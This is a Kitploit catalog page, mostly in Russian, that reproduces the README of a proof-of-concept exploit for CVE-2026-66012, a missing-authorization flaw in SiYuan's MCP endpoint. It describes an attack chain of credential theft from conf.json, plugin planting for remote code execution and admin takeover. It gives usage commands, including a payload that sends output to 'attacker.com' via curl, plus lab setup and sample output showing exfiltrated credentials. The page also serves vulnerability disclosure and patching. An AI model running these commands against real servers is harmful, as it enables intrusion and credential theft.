Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Эксплойт для захвата администратора без аутентификации для CVE-2026-66012, использующий отсутствие авторизации в MCP для хищения учетных данных и выполнения удаленного кода. | Kitploit
Инструменты/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Аутентификация и авторизацияПовышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Эксплойт для захвата администратора без аутентификации для CVE-2026-66012, использующий отсутствие авторизации в MCP для хищения учетных данных и выполнения удаленного кода.

Репозиторий
125 дней назадЕщё не проверено
Поделиться

CVE-2026-66012 — Неавторизованный захват администратора SiYuan MCP

Доказательство концепции для CVE-2026-66012 (CVSS 10.0 Critical), уязвимость отсутствия авторизации в конечной точке MCP (Model Context Protocol) SiYuan, которая позволяет неавторизованному злоумышленнику осуществить захват администратора и удаленное выполнение кода, когда сервер Publish включен в анонимном режиме.

Сводка уязвимости

ПолеЗначение
CVECVE-2026-66012
CVSS 3.110.0 Критический
CWECWE-862 — Отсутствие авторизации
ЗатрагиваетSiYuan < v3.7.2
Исправленоv3.7.2 (коммит df51c2bda696)
СообщилNguyen Van Hiep (@hypnguyen1209), MBBank

Первопричина

Три дефекта образуют цепочку атаки:

  1. POST /mcp зарегистрирован только с model.CheckAuth — без CheckAdminRole или CheckReadonly. Любой действительный JWT (включая с уровнем Reader) может вызывать все 31 инструмент MCP.
  2. Диспетчер инструментов (handler.go) вызывает инструменты без проверки роли вызывающего.
  3. Обратный прокси Publish вставляет анонимный JWT RoleReader в каждый запрос, когда Publish.Auth.Enable=false, превращая ошибку отсутствия авторизации в неавторизованную.

Цепочка атаки

  1. Рукопожатие MCP через POST /mcp на порту Publish (без учетных данных)
  2. Чтение conf/conf.json → извлечение accessAuthCode, api.token, cookieKey
  3. Размещение плагина в data/plugins/pwn/ → RCE при следующем запуске рабочего стола через nodeIntegration:true
  4. Вход администратора на порт 6806 с использованием украденного accessAuthCode

Предварительные требования

  • Python 3.8+
  • Библиотека requests (pip install requests)
  • Docker 20.10+ (только для настройки лаборатории)

Использование

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Настройка лаборатории

Только для авторизованного тестирования. Настройте уязвимый экземпляр локально:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Ожидаемый вывод

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Устранение

Обновитесь до SiYuan v3.7.2 или выше. Исправление (коммит df51c2bda696) применяет:

  1. Промежуточное ПО CheckAdminRole + CheckReadonly на маршруте /mcp
  2. Явная блокировка доступа к conf/conf.json в инструменте файлов
  3. Белый список путей прокси Publish (административные пути возвращают 401 для анонимных пользователей)

Ссылки

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Исправляющий коммит df51c2bd
  • Уведомление VulnCheck

Отказ от ответственности

Это PoC предназначено только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Авторы не несут ответственности за любое неправомерное использование этого кода.

Скачать инструмент